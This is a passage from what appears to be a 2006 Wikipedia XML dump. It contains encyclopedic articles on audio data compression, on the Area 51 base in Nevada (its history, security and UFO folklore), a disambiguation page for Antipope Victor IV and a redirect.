A 7.1 setup has the usual front 3 (front Left, front Centre, front Right), 2 Surround sound speakers situated to the left and right of the listener, and 2 rear speakers (rear Left and rear Right); with the usual Sub-woofer for bass - Dolby call this .1 / Sub speaker by the term LFE (Low-Frequency Effects).


==See also==
*[[Audio data compression]]
*[[Container format]]

==External links==
* [http://www.fileinfo.net/filetype/audio Audio File Types] Definitions of audio file extensions
* [http://www.mega-nerd.com/libsndfile/ libsndfile], an [[LGPL|LGPLd]] library that can read and write many audio file formats
* [http://www.apple.com/itunes/import.html] - iTunes file format AAC
* [http://www.bwfwidget.com BWF-Widget Pro] Utility for working with Broadcast Wave Files. Metadata reader/editor and BWF Playback with SMPTE Time Code.
[[Category:Computer file formats]]
[[Category:Music file formats]]
[[de:Audiodatei]]
[[zh:音频文件格式]]</text>
    </revision>
  </page>
  <page>
    <title>Audio data compression</title>
    <id>2318</id>
    <revision>
      <id>39236548</id>
      <timestamp>2006-02-11T19:27:10Z</timestamp>
      <contributor>
        <ip>80.240.215.61</ip>
      </contributor>
      <comment>External links section was added and updated</comment>
      <text xml:space="preserve">:''Note: This article is about audio data compression, which reduces the data rate of digital audio signals. This should not be confused with [[audio level compression]] which reduces the dynamic range of audio signals, or [[companding]], which uses both compression and complementary dynamic range expansion as a noise reduction technique.''

'''Audio compression''' is a form of [[data compression]] designed to reduce the size of audio data files.  Audio compression algorithms are typically referred to as ''audio [[codec]]s''.  As  with other specific forms of data compression, there exist many &quot;[[Lossless data compression|lossless]]&quot; and &quot;[[Lossy data compression|lossy]]&quot; algorithms to achieve the compression effect.

== Lossless compression ==

As with [[image compression]], both lossy and lossless compression algorithms are used in audio compression.  As file storage and communications bandwidth have become less expensive and more available, the popularity of lossless formats such as [[FLAC]] has increased sharply, as people are choosing to maintain a permanent archive of their audio files. The primary users of lossless compression are [[audio engineer|audio engineers]], audiophiles and those consumers who want to preserve the full quality of their audio files, in contrast to the quality loss from lossy compression techniques such as [[Vorbis]] and [[MP3]].  Of course, virtually every user will use both schemes for some files, or maintain both lossy and lossless versions, as their needs require.

It is difficult to maintain all the data in an audio stream and achieve substantial compression.  First, the vast majority of sound recordings are highly complex and random, recorded from the real world.  As one of the key methods of compression is to find patterns and repetition, more random data such as audio doesn't compress well.  In a similar manner, [[photo]]graphs compress less efficiently with lossless methods than simpler computer-generated images do.  But interestingly, even computer generated sounds can contain very complicated [[waveform]]s that present a challenge to many compression algorithms.  This is due to the nature of audio waveforms, which are generally difficult to simplify without a (necessarily lossy) conversion to frequency information, as performed by the human ear.

The second reason is that values of audio [[sample (signal)|sample]]s change very quickly, so generic data compression [[algorithm]]s don't work well for audio, and strings of consecutive bytes don't generally appear very often.  However, [[convolution]] with the filter [-1 1] (that is, taking the first difference) tends to slightly [[white noise|whiten]] ([[decorrelate]], make flat) the spectrum, thereby allowing traditional lossless compression at the encoder to do its job; integration at the decoder restores the original signal.  Codecs such as [[FLAC]], [[Shorten]] and [[TTA]] use [[linear prediction]] to [[List_of_digital_estimation_techniques|estimate]] the spectrum of the signal.  At the encoder, the estimator's inverse is used to whiten the signal by removing spectral peaks while the estimator is used to reconstruct the original signal at the decoder.

Lossless audio codecs have no quality issues, so the usability can be estimated by
* Speed of compression and decompression
* Degree of compression
* Software and hardware support

For comparisons of lossless audio codecs, see [http://wiki.hydrogenaudio.org/index.php?title=Lossless_comparison hydrogenaudio.org wiki comparison]; [http://members.home.nl/w.speek/comparison.htm Speek's comparison] (note the other links as well); [http://web.inter.nl.net/users/hvdh/lossless/All.htm this graph] from [http://web.inter.nl.net/users/hvdh/lossless/lossless.htm Hans Heiden's site] and [http://www.firstpr.com.au/audiocomp/lossless/ Robin Whittle's 2003 comparison of several algorithms and discussion of Rice coding].

== Lossy compression ==

Lossy audio compression is used in an extremely wide range of applications.  In addition to the direct applications (mp3 players or computers), digitally compressed audio streams are used in most video DVDs; digital television; streaming media on the [[internet]]; satellite and cable radio; and increasingly in terrestrial radio broadcasts.   Lossy compression typically achieves far greater compression than lossless compression (data of 5-20% of the original stream, rather than 50-60%), by simplifying the complexities of the data.  Given that bandwidth and storage are always limited, the trade-off of reduced audio quality is clearly outweighed for some applications where users wish to transmit or store more information.  (For example, one can fit a lot more songs on their iPod using lossy than using lossless compression; and a DVD might hold several audio tracks using lossy compression in the space needed for one lossless audio track.)

In both lossy and lossless compression, information redundancy is reduced, using methods such as coding, pattern recognition and linear prediction to reduce the amount of information used to describe the data.  For example, suppose you wanted to record twenty house numbers along one side of a street, each of which goes up by 2.  If the first address was 14461, or five digits, the uncompressed stream would require 20 times 5 bytes, or 100 bytes, to store.  You could recode that to take advantage of the repetition and simply say begin at 14461, increase by 2, repeat 19 times.  Now the data are losslessly captured in just 8 bytes!

The innovation of lossy audio compression was to use [[psychoacoustics]] to recognize that not all data in an audio stream is perceived by the human ear.  Most lossy compression reduces perceptual redundancy by first identifying sounds which are considered perceptually irrelevant, that is, sounds that are very hard to hear.  Typical examples include high frequencies, or sounds that occur at the same time as other louder sounds.   Those sounds are coded with decreased accuracy or not coded at all.

To illustrate this by continuing with the example, suppose the data were more complex, so the difference between two house numbers was 4 in one instance, between the tenth and eleventh houses.  Lossless coding would require something like this: begin at 14461, increase by 2, repeat 9 times, increase by 4, increase by 2, repeat 8 times.  So 10, rather than 8 bytes, are needed to store the data.  But if your model of lossy compression determines that difference was not relevant for the application, it might simplify the data to ignore the variation and increase the compression.  However, some data are lost in the process, because the original data cannot be reconstructed from the lossy compression scheme; only an approximation of that data, determined to be sufficient for this application, can be recovered.

If reducing perceptual redundancy does not achieve sufficient compression for a particular application, it may require further lossy compression with a difference in quality that can be more readily perceived by a user.  Most lossy compression schemes allow compression parameters to be adjusted to achieve a target rate of data, usually expressed as a [[bit rate]].  Again, the data reduction will be guided by some model of how important the sound is as perceived by the human ear, with the goal of efficiency and optimized quality for the target data rate.  (There are many different models used for this perceptual analysis, some better suited to different types of audio than others.)  Hence, depending on the bandwidth and storage requirements, the use of lossy compression may result in a perceived reduction of the audio quality that ranges from none to severe.  Of course, that trade-off is usually intentional.

Because data are removed during lossy compression and cannot be recovered by decompression, lossy compression schemes are completely unsuitable for archival storage.  Hence, as noted, even those who use lossy compression (for portable audio applications, for example) may keep a losslessly compressed archive for other applications.  In addition, the technology of compression continues to advance, and achieving a state-of-the-art lossy compression would require one to begin again with the lossless, original audio data and compress with the new lossy codec.   The nature of lossy compression (for both audio and images) results in increasing degradation of quality if data are decompressed, then recompressed using lossy compression.  For these and other reasons, lossy compression is not appropriate for many audio applications.

===Coding methods===

====Transform domain methods====
In order to determine what information in an audio signal is perceptual irrelevant, most lossy compression algorithms use transforms such as the [[modified discrete cosine transform]] (MDCT) to convert [[time domain]] sampled waveforms into a transform domain.  Once transformed, typically into the [[frequency domain]], component frequencies can be allocated bits according to how audible they are.  Audibility of spectral components is determined by first calculating a [[masking threshold]], below which it is estimated that sounds will be beyond the limits of human perception.

The masking threshold is calculated using the [[absolute threshold of hearing]] and the principles of [[simultaneous masking]] - the phenomenon wherein a signal is masked by another signal separated by frequency - and, in some cases, [[temporal masking]] - where a signal is masked by another signal separated by time.  [[Equal-loudness contour]]s may also be used to weight the perceptual importance of different components.  Models of the human ear-brain combination incorporating such effects are often called  [[psychoacoustic model]]s.

====Time domain methods====
Other types of lossy compressors, such as the [[linear predictive coding]] (LPC) used with speech, are ''source-based coders''.  These coders use a model of the sound's generator (such as the human vocal tract with LPC) to whiten the audio signal (i.e., flatten its spectrum) prior to quantization.  LPC may also be thought of as a basic perceptual coding technique; reconstruction of an audio signal using a linear predictor shapes the coder's quantization noise into the spectrum of the target signal, partially masking it.

===Applications===
Due to the nature of lossy algorithms, [[audio quality]] suffers when a file is decompressed and recompressed (generational losses).  This makes lossy-compressed files unsuitable for professional audio engineering applications, such as sound editing and multitrack recording. However, they are very popular with end users (particularly [[MP3]]), as a megabyte can store about a minute's worth of music at adequate quality.

===Usability===
Usability of lossy audio codecs is determined by:
* Perceived audio quality
* Compression factor
* Speed of compression and decompression
* Inherent latency of algorithm (critical for real-time streaming applications; see below)
* Software and hardware support

Lossy formats are often used for the distribution of streaming audio, or interactive applications (such as the coding of speech for digital transmission in cell phone networks).  In such applications, the data must be decompressed as the data flows, rather than after the entire data stream has been transmitted.  Not all audio codecs can be used for streaming applications, and for such applications a codec designed to stream data effectively will usually be chosen.

Latency results from the methods used to encode and decode the data.  Some codecs will analyze a longer segment of the data to optimize efficiency, and then code it in a manner that requires a larger segment of data at one time in order to decode.  (Often codecs create segments called a &quot;frame&quot; to create discrete data segments for encoding and decoding.)   The inherent [[latency]] of the coding algorithm can be critical; for example, when there is two-way transmission of data, such as with a telephone conversation, significant delays may seriously degrade the perceived quality.

In contrast to the speed of compression, which is proportional to the number of operations required by the algorithm, here latency refers to the number of samples which must be analysed before a block of audio is processed.  In the minimum case, latency is 0 zero samples (e.g., if the coder/decoder simply reduces the number of bits used to quantize the signal).  Time domain algorithms such as LPC also often have low latencies, hence their popularity in speech coding for telephony.  In algorithms such as MP3, however, a large number of samples have to be analyzed in order to implement a psychoacoustic model in the frequency domain, and latency is on the order of 23 ms (46 ms for two-way communication).

=== Speech encoding ===

[[Speech encoding]] is an important category of audio data compression.  The perceptual models used to estimate what a human ear can hear are generally somewhat different from those used for music.  The range of frequencies needed to convey the sounds of a human voice are normally far narrower than that needed for music, and the sound is normally less complex.  As a result, speech can be encoded at high quality using relatively low bit rates.

This is accomplished, in general, by some combination of two approaches:
* Only encoding sounds that could be made by a single human voice.
* Throwing away more of the data in the signal -- keeping just enough to reconstruct an &quot;intelligible&quot; voice rather than the full frequency range of human [[hearing (sense)|hearing]].

Perhaps the earliest algorithms used in speech encoding (and audio data compression in general) were the [[A-law algorithm]] and the [[mu-law algorithm]].

== See also ==
*[[audio file format]]
*[[audio signal processing]]
*[[audio storage]]
*[[codec]]
*[[container format]]
*[[data compression]]
*[[digital rights management]]
*[[digital signal processing]]
*[[list of codecs]]
*[[psychoacoustics]]
*[[speech encoding]]
*[[subband encoding]]
== External links ==
*[http://losslessaudio.blogspot.com/ The Lossless Audio Blog]
*[http://www.compression-links.info/Lossless_Audio_Coding List of resources on lossless audio coding]

[[Category:Data compression]]
[[Category:Audio engineering]]

[[de:Audiokompression]]
[[es:Compresión de audio]]
[[hu:Hangtömörítés]]
[[nl:Audiocompressie]]
[[fi:Äänenpakkaus]]
[[sv:Ljudkomprimering]]</text>
    </revision>
  </page>
  <page>
    <title>Antipope Victor IV</title>
    <id>2319</id>
    <revision>
      <id>21513646</id>
      <timestamp>2005-08-21T18:52:31Z</timestamp>
      <contributor>
        <ip>82.121.1.208</ip>
      </contributor>
      <text xml:space="preserve">{{disambig}}
Two [[antipope]]s have claimed the name '''Victor IV'''.

* [[Antipope Victor IV (1138)]]
* [[Antipope Victor IV (1159-1164)]]

[[de:Viktor IV.]]
[[fr:Victor IV]]
[[pl:Wiktor IV]]
[[sv:Viktor IV]]</text>
    </revision>
  </page>
  <page>
    <title>Audio codecs</title>
    <id>2320</id>
    <revision>
      <id>15900748</id>
      <timestamp>2002-06-01T11:38:35Z</timestamp>
      <contributor>
        <username>Rade Kutil</username>
        <id>1632</id>
      </contributor>
      <minor />
      <comment>-&amp;gt; audio codec</comment>
      <text xml:space="preserve">#REDIRECT [[Audio codec]]
</text>
    </revision>
  </page>
  <page>
    <title>Area 51</title>
    <id>2321</id>
    <revision>
      <id>42150237</id>
      <timestamp>2006-03-04T03:44:28Z</timestamp>
      <contributor>
        <username>InShaneee</username>
        <id>132185</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.23.198.165|69.23.198.165]] ([[User talk:69.23.198.165|talk]]) to last version by Finlay McWalter</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Area 51 28 August 1968 6.jpg|thumb|Satellite view of Area 51 from 1968.]]
'''Area 51''' (also known as '''Dreamland''', '''Watertown''', '''The Ranch''', '''Paradise Ranch''', '''The Farm''', '''The Box''', '''Groom Lake''', and '''The Directorate for Development Plans Area''') is a remote tract of land in southern [[Nevada]], owned by the [[federal government of the United States]], containing an airfield apparently used for the secret development and testing of new military aircraft. It is famed as the subject of many [[UFO conspiracy theory|UFO conspiracy theories]].

== Geography ==
[[Image:Wfm area51 map en.png|thumb|left|Map showing Area 51, NAFR, and the NTS]]
Area 51 is a section of land of approximately 60 square miles (155 [[square kilometre|km&amp;sup2;]]) in [[Lincoln County, Nevada]], [[United States|USA]].  It is part of the vast (4,687 square mile [12,139 km&amp;sup2;]) [[Nellis Air Force Range]] (NAFR).  The area consists largely of the wide Emigrant Valley, framed by the Groom and Papoose mountain ranges (to the North and South respectively) and the Jumbled Hills to the East.  Between the two ranges lies Groom Dry Lake ({{coor dms|37|16|05|N|115|47|58|W|}}), a dry [[endorheic|alkali lake]] bed roughly three miles (5 km) in diameter. A large air base exists on the southwest corner of the lake ({{coor dm|37|14|N|115|49|W|}}) with two concrete runways, one of which extends onto the lake bed, and four unprepared runways on the lake bed itself.  

High-resolution satellite images have shed some light on the facility's complex runway layouts.  Area 51 has two operating runways, the main is 14L/32R, a concrete runway constructed in the 1990s, measuring 11,980 x 200 feet (3,651 x 61 m) with a 1000 x 100 feet (304 x 30 m) overrun at each end and the secondary, shorter runway is 12/30 which also doubles as a taxiway, measuring 5,420ft x 150 feet (1,652m x 45m).  The older runway is exactly six miles (9,656 m) long.  It is composed of 12,500 feet of concrete, 11,080 feet of asphalt, and 5560 feet and 2540 feet of now dismantled asphalt on the north and south ends respectively.  At least three sets of old runway markings are found, suggesting that the full six-mile length was probably never used in its entirety.  Currently only a 6,600 feet (2011 m) stretch of the concrete section is marked for use, forming runway 14R/32L.  The dirt lakebed runways, comprising two twin airstrips, measure up to 11,270 feet (3435 m) in length and 100 to 170 feet (30 to 52 m) in width.

Area 51 shares a border with the Yucca Flats region of the [[Nevada Test Site]] (NTS), the location of many of the U.S. [[United States Department of Energy|Department of Energy's]] [[nuclear weapons]] tests.  The [[Yucca Mountain]] nuclear storage facility is approximately 40 miles (64km) southwest of Groom Lake.

The designation &quot;Area 51&quot; is somewhat contentious, appearing on older maps of the NTS but not newer ones, but the same naming scheme is used for other parts of the Nevada Test Site.

The area is connected to the internal NTS road network, with paved roads leading both to Mercury to the northwest and west to Yucca Flats.  Leading northeast from the lake, Groom Lake Road (a wide, well-conditioned dirt road) runs through a pass in the Jumbled Hills.  Groom Lake Road was formerly the track leading to mines in the Groom basin, but has been improved since their closure. Its winding course takes it past a security checkpoint, but the restricted area around the base extends further east than this (unauthorized visitors who travel west on Groom Lake Road are usually observed first by guards located on the hills surrounding the pass, still several miles from the checkpoint).  After leaving the restricted area (marked by numerous warning signs stating that &quot;photography is prohibited&quot; and that &quot;use of deadly force is authorized&quot;) Groom Lake Road descends eastward to the floor of the Tikaboo Valley, passing the dirt-road entrances to several small ranches, before joining with [[Nevada State Route 375]], the &quot;Extraterrestrial Highway&quot;, south of [[Rachel, Nevada|Rachel]].

== Operations at Groom Lake ==
Groom Lake is not a conventional airbase, and frontline units are not normally deployed there.  It appears, rather, to be used during the development, test and training phases for new aircraft.  Once those aircraft have been accepted by the [[United States Air Force]], operation of that aircraft is generally shifted to a normal air force base.  Groom is reported, however, to be the permanent home for a small number of aircraft of [[Soviet Union|Soviet]] design (obtained by various means).  These are reportedly analyzed and used for training purposes. 

Soviet spy satellites obtained photographs of the Groom Lake area during the height of the Cold War, but these support only modest conclusions about the base. They depict a nondescript base, airstrip, hangars, and so forth, but nothing that supports some of the wilder claims about underground facilities.  Later commercial satellite images show that the base has grown, but remains superficially unexceptional.

=== Senior Year/U-2 program ===
Groom Lake was used for bombing and artillery practice during [[World War II]], but was then abandoned until 1955, when it was selected by [[Lockheed]]'s [[skunkworks]] team as the ideal location to test the forthcoming [[Lockheed U-2|U-2]] spy plane. The lakebed made for an ideal strip to operate the troublesome test aircraft from, and the Emigrant Valley's mountain ranges and the NTS perimeter protected the secret plane from curious eyes.

Lockheed constructed a makeshift base at Groom, little more than a few shelters and workshops and a small constellation of trailer homes in which to billet its small team.  The first U-2 flew at Groom in August 1955, and U-2s under the control of the [[CIA]] began overflights of [[Soviet Union|Soviet]] territory by mid-1956.

During this period, the NTS continued to perform a series of atmospheric nuclear explosions.  U-2 operations throughout 1957 were frequently disrupted by the [[Operation Plumbbob|Plumbbob]] series of atomic tests, which exploded over two dozen devices at the NTS.  The Plumbbob-Hood explosion on [[July 5]] scattered [[Nuclear fallout|fallout]] across Groom and forced its (temporary) evacuation.

As the U-2's primary mission was to overfly the Soviet Union, it operated largely from airbases near the Soviet border, including [[Incirlik Air Base|Incirlik]] in [[Turkey]] and [[Peshawar]] in [[Pakistan]].

=== Blackbird (OXCART/A-10/A-11/A-12/SR-71) program ===
Even before U-2 development was complete, Lockheed began work on its successor, the [[CIA]]'s ''OXCART'' project, a [[Mach number|Mach]]-3 high altitude [[reconnaissance]] aircraft later known as the [[SR-71 Blackbird]].  The Blackbird's flight characteristics and maintenance requirements forced a massive expansion of facilities and runways at Groom Lake.  By the time the first A-12 Blackbird prototype flew at Groom in 1962, the main runway had been lengthened to 8500 ft (2600 m), and the base boasted a complement of over 1000 personnel.  It had fueling tanks, a control tower, and a [[baseball]] diamond.  Security was also greatly enhanced, the small civilian mine in the Groom basin was closed, and the area surrounding the valley was made an exclusive military preserve (where interlopers were subject to &quot;lethal force&quot;).  Groom saw the first flight of all major Blackbird variants: A-10, A-11, A-12, RS-71 (renamed [[SR-71]] by USAF Chief of Staff [[Curtis LeMay]] and not by a presidential error as popularly believed), the abortive YF-12A strike-fighter variant, and the disastrous D-21 Blackbird-based drone project.

=== Have Blue/Senior Trend/F-117 program ===
The first [[Have Blue]] prototype stealth fighter (a smaller cousin of the [[F-117 Nighthawk]]) first flew at Groom in late 1977.  Testing of a series of ultra-secret prototypes continued there until mid-1981, when testing transitioned to the initial production of F-117 stealth fighters.  In addition to flight testing, Groom performed radar profiling, F-117 weapons testing, and was the location for training of the first group of frontline USAF F-117 pilots.  Subsequently active-service F-117 operations (still highly classified) moved to the nearby [[Tonopah Test Range]] and finally to [[Holloman Air Force Base]].

=== Later operations ===
[[Image:Area 51.jpg|thumb|left|200px|Simulated aerial view of Area 51, made using [[Landsat]] imagery]]
Since the F-117 became operational in 1983, operations at Groom Lake have continued unabated.  The base and its associated runway system have been expanded, and the daily flights bringing civilian commuters from Las Vegas continue.  Some commentators, after examining recent satellite photos of the base, estimate it to have a live-in complement of over 1000 people, with a similar number commuting from Las Vegas.  In 1995 the federal government expanded the exclusionary area around the base to include nearby mountains that had hitherto afforded the only decent overlook of the base. Subsequently, limited views of the area are available only from the summits of several distant mountains, particularly Tikaboo Peak ({{coor dms|37|20|40|N|115|21|32|W|}}), around 26 miles (42 km) to the east.

Aircraft that have supposedly been tested at Groom include the [[Northrop Tacit Blue]] stealth demonstrator, various classified [[Unmanned aerial vehicle|UAV]]s, a small stealthy [[VTOL]] troop-transport aircraft, a stealthy [[cruise missile]], the rumored [[Aurora aircraft|Aurora]] [[hypersonic]] spy plane, a &quot;[[Stealth Blimp]]&quot;, and replacements for the SR-71 and F-117A.

== Area 51 commuters ==
[[Image:Wfm tc janet at mccarran.jpg|thumb|right|300px|EG&amp;G JANET 737s at McCarran.]]
Defense contractor [[EG&amp;G]] maintains a private terminal at [[McCarran International Airport]] in [[Las Vegas, Nevada|Las Vegas]].  A number of unmarked aircraft operate daily shuttle services from McCarran to sites operated by EG&amp;G in the extensive federally controlled lands in southern Nevada.   These aircraft reportedly use JANET radio call signs (e.g., &quot;JANET 6&quot;), said to be an acronym for &quot;Joint Air Network for Employee Transportation&quot; or (perhaps as a joke) &quot;Just Another Non-Existent Terminal&quot;.  EG&amp;G advertises in the Las Vegas press for experienced airline pilots, saying applicants must be eligible for government security clearance and that successful applicants can expect to always overnight at Las Vegas.  These aircraft, painted white with red trim (the livery of now defunct [[Western Airlines]]), include [[Boeing 737]]s and several smaller executive jets.  Their tail numbers are registered to several unexceptional civil aircraft leasing corporations.  They are reported to shuttle to Groom, [[Tonopah Test Range]], to other locations in the NAFR and NTS, and reportedly to [[Naval Air Weapons Station China Lake]].  Observers counting departures and cars in the private EG&amp;G parking lot at McCarran estimate several thousand people commute on JANET each day.  

A bus runs a commuter service along Groom Lake Road, catering to a small number of employees living in several small desert communities beyond the NTS boundary (although it is not clear whether these workers are employed at Groom or at other facilities in the NTS).  The bus drives down Groom Lake Road and stops at [[Crystal Springs, Nevada|Crystal Springs]], [[Ash Springs, Nevada|Ash Springs]], and [[Alamo, Nevada|Alamo]], and parks in front of the Alamo court house overnight.

== The Government's position on Area 51 ==
[[Image:Wfm x51 area51 warningsign.jpg|thumb|right|300px|Area 51 border and warning sign.  &quot;Camo dudes&quot; in their vehicle watch from the ridgeline.]] 
The U.S. government does not explicitly acknowledge the existence of the Groom Lake facility, nor does it deny it.  Unlike much of the Nellis range, the area surrounding the lake is permanently off-limits both to civilian and normal military air traffic.  The area is protected by radar stations, and uninvited guests are met by helicopters and armed guards. Should they accidentally stray into the exclusionary &quot;box&quot; surrounding Groom's airspace, even military pilots training in the NAFR are reportedly grilled extensively by military intelligence agents.

Perimeter security is provided by uniformed private security guards working for EG&amp;G, who patrol in desert camouflage [[Jeep Cherokee]] and [[High Mobility Multipurpose Wheeled Vehicle|Hum-Vee]] vehicles, and more recently champagne coloured Ford F-150 pickups and gray Chevy 2500 4X4 pickups.  Although the guards are armed with [[M16 (rifle)|M16s]], no violent encounters with Area 51 observers have been reported; instead the &quot;camo dudes&quot; generally follow visitors near the perimeter and radio for the  Lincoln County sheriff.  Modest fines (of around $600) seem to be the norm, although some visitors and journalists report receiving follow-up visits from [[FBI]] agents.  Some observers have been detained on public land for pointing camera equipment at the base.  Surveillance is also conducted using buried motion sensors and by [[HH-60 Pave Hawk]] helicopters.

The base does not appear on public U.S. government maps; the USGS topological map for the area only shows the long-disused Groom Mine, and the civil aviation chart for Nevada shows a large restricted area, but defines it as part of the Nellis restricted airspace.  Similarly the National Atlas page showing [http://nationalatlas.gov/printable/images/pdf/fedlands/nv.pdf federal lands in Nevada] does not distinguish between the Groom block and other parts of the Nellis range.  Although officially declassified, the original film taken by U.S. [[Corona (satellite)|Corona]] [[Reconnaissance satellite|spy satellite]] in the 1960s has been altered prior to declassification; in answer to freedom of information queries, the government responds that these exposures (which map to Groom and the entire NAFR) appear to have been destroyed ([http://www.fas.org/irp/overhead/groom_corona_200567.jpg Corona image]). [[Terra (satellite)|Terra]] satellite images (which were publicly available) were removed from webservers (including [[Microsoft]]'s &quot;Terraserver&quot;) in 2004 ([http://terraserver.microsoft.com/GetImageArea.ashx?t=1&amp;s=17&amp;lon=-115.81666666666666&amp;lat=37.233333333333334&amp;w=600&amp;h=400&amp;f=Tahoma,Verdana,Sans-serif&amp;fs=10&amp;fc=ffffffff&amp;logo=1 Terraserver image]), and from the monochrome 1 m resolution USGS datadump made publicly available.  NASA [[Landsat 7]] images are  still available (these are used in the [[NASA World Wind]]).  Non-U.S. images, including high-resolution photographs from Russian satellites and the commercial [[IKONOS]] system, are also easily available (and abound on the Internet).

Despite the official government ban on discussing the matter, the phrase &quot;groom lake&quot; does [http://www.google.com/search?hl=en&amp;lr=&amp;safe=off&amp;client=safari&amp;rls=en&amp;q=%22groom+lake%22+site%3Aaf.mil&amp;btnG=Search appear] on several publicly-accessible U.S. Air Force websites most of which are unambiguously refering to the facility.

[[Image:Wfm x51 extraterrestrial highway.jpg|thumb|right|300px|''Extraterrestrial Highway'' sign]]
Nevada's state government, recognizing the folklore surrounding the base might afford the otherwise neglected area some tourism potential, officially renamed the section of [[Nevada State Route 375]] near Rachel &quot;The Extraterrestrial Highway&quot;, and posted fancifully illustrated signs along its length.

Although federal property within the base is exempt from state and local taxes, facilities owned by private contractors are not.  One researcher has reported that the base only declares a taxable value of $2 million to the Lincoln County tax assessor, who is unable to enter the area to perform an assessment.  Some Lincoln County residents have complained that the base is an unfair burden on the county, providing few local jobs (as most employees appear to live in or near Las Vegas) and imposing an iniquitous burden of land sequestration and law enforcement costs.

===Environmental lawsuit===
In 1994 five unnamed civilian contractors and the widows of contractors Walter Kasza and Robert Frost sued the USAF and the [[Environmental Protection Agency]].  Their suit, in which they were represented by [[The George Washington University|George Washington University]] law professor Jonathan Turley, alleged they had been present when large quantities of unknown chemicals had been burned in open pits and trenches at Groom. [[biopsy|Biopsies]] taken from the complainants were analyzed by [[Rutgers University]] [[biochemistry|biochemists]], who found high levels of [[dioxin]], [[dibenzofuran]], and [[trichloroethylene]] in their body fat.  The complainants alleged they had sustained skin, liver, and respiratory injuries due to their work at Groom, and that this had contributed to the deaths of Frost and Kasza. The suit sought compensation for the injuries they had sustained, claiming the USAF had illegally handled toxic materials, and that the EPA had failed in its duty to enforce the [[Resource Conservation and Recovery Act]] (which governs handling of dangerous materials).  They also sought detailed information about the chemicals to which they alleged they had been exposed, hoping this would help the medical treatment of those still living.

The government petitioned trial judge, U.S. District Judge Philip Pro (sitting in the U.S. District Court in Las Vegas), to disallow disclosure of classified documents or examination of witnesses on secret matters, alleging this would expose classified information and threaten national security.  When Judge Pro rejected the government's argument, [[Bill Clinton|President Bill Clinton]] issued a Presidential Determination, exempting what it called &quot;the Air Force's Operating Location Near Groom Lake, Nevada&quot; from environmental disclosure laws.  Consequently Pro dismissed the suit due to lack of evidence.  Turley appealed to the [[United States Court of Appeals for the Ninth Circuit|Ninth Circuit court of appeal]] on the grounds that the government was abusing its power to classify material. [[United States Secretary of the Air Force|Secretary of the Air Force]] [[Sheila E. Widnall]] filed a brief which said that disclosures of the materials present in the air and water near Groom &quot;can reveal military operational capabilities or the nature and scope of classified operations.&quot;  The Ninth Circuit rejected Turley's appeal, and the U.S. Supreme Court refused to hear it, putting paid to the complainants' case.  

The [[President of the United States|President]] continues to annually issue a determination continuing the Groom exception ([http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=2001_cfr_3v1&amp;docid=3CFRSep19 2000 determination], [http://www.whitehouse.gov/news/releases/2002/09/20020918-9.html 2002 determination], [http://www.whitehouse.gov/news/releases/2003/09/20030916-4.html 2003 determination]). This (albeit tacitly) constitutes the only formal recognition the U.S. Government has ever given that Groom Lake is more than simply another part of the Nellis complex.

===1974 Skylab photography===
In January 2006 aviation journalist Dwayne Day published an article in online aerospace magazine ''The Space Review'' titled &quot;Astronauts and Area 51: the Skylab Incident.&quot;  The article was based around a recently&lt;!--2004--&gt; declassified memo written in [[1974]] to [[Central Intelligence Agency|CIA]] director [[William Colby]] by an unknown CIA official. The memo reported that astronauts on board [[Skylab 4]] had, as part of larger program, inadvertently photographed a location of which the memo said ''&quot;There were specific instructions not to do this.  &lt;redacted&gt; was the only location which had such an instruction.&quot;''  Although the name of the location was obscured, the context led Day to believe that the subject was Groom Lake.

The memo details debate between federal agencies regarding whether the images should (or indeed could) be classified, with Department of Defense agencies arguing that it should and [[NASA]] and the [[United States Department of State|State Department]] arguing against classification.  The memo itself questions whether it was legal for images obtained by an unclassified program to be retroactively classified.

Remarks on the memo, handwritten apparently by DCI ([[Director of Central Intelligence]]) Colby himself, read:

:''He did raise it - said State Dept. people felt strongly. But he inclined leave decision to me (DCI) - I confessed some question over need to protect since:''
:#''USSR has it from own sats''
:#''What really does it reveal?''
:#''If exposed, don't we just say classified USAF work is done there?''

The declassified documents do not disclose the outcome of the discussions regarding the Skylab imagery, but they were not placed in the National Archive at [[Sioux Falls, South Dakota]] along with the rest of the Skylab 4 photographs.

== UFO and other conspiracy theories concerning Area 51 ==
Its secretive nature and undoubted connection to classified aircraft research, together with reports of unusual phenomena, have led Area 51 to become a centerpiece of modern [[Unidentified flying object|UFO]] and [[conspiracy theory]] [[folklore]].  Some of the unconventional activities claimed to be underway at Area 51 include:

*the storage, examination, and [[reverse engineering]] of crashed [[Extraterrestrial life|alien]] spacecraft (including material supposedly recovered at [[Roswell UFO incident|Roswell]]), the study of their occupants (living and dead), and the manufacture of aircraft based on alien technology. 
*meetings or joint undertakings with extraterrestrials.
*the development of exotic [[energy weapons]] (for [[Strategic Defense Initiative|SDI]] applications or otherwise) or means of [[weather control]].
*activities related to a supposed shadowy [[world government]].

Many of the theories concern underground facilities at Groom or at nearby Papoose Lake, and include claims of a transcontinental underground railroad system, a disappearing airstrip (nicknamed the &quot;Cheshire Airstrip&quot;, after [[Lewis Carroll]]'s [[Cheshire cat]]) which briefly appears when water is sprayed onto its [[camouflage]]d [[asphalt]] ([http://www.serve.com/mahood/nellis/area19/cheshire.htm]), and engineering based on alien technology. In 1989 [[Bob Lazar]] claimed that he had worked at a facility at Papoose Lake (which he called S-4) on such a U.S. Government [[flying saucer]].

One major theory is that Area 51 is a place which simulates the environment of the moon. In 2000-2001, [[Fox Television]] broadcasted a show about [[Apollo moon landing hoax accusations]], where it was discussed that the whole moon landing in [[1969]] was a hoax and was filmed in parts of Area 51. Soviet satellite photography indicates that parts of Area 51 resemble the moon surface as shown in the Moon landing video.

Others, however, claim that during the mid 1990s the most secret work previously done at Groom was quietly moved to other facilities, including [[Dugway Proving Ground]] in [[Utah]], and that the continued secrecy around Groom is largely a successful attempt at [[misdirection]].

== Area 51 in popular culture ==
[[Image:Area51.jpg|thumb|Cover of the 2005 ''Area 51'' [[First-person shooter|FPS]] video game]] &lt;!-- ''please'' don't add futher popular-culture images - on is sufficient, and more would weaken our fair-use assertion --&gt;
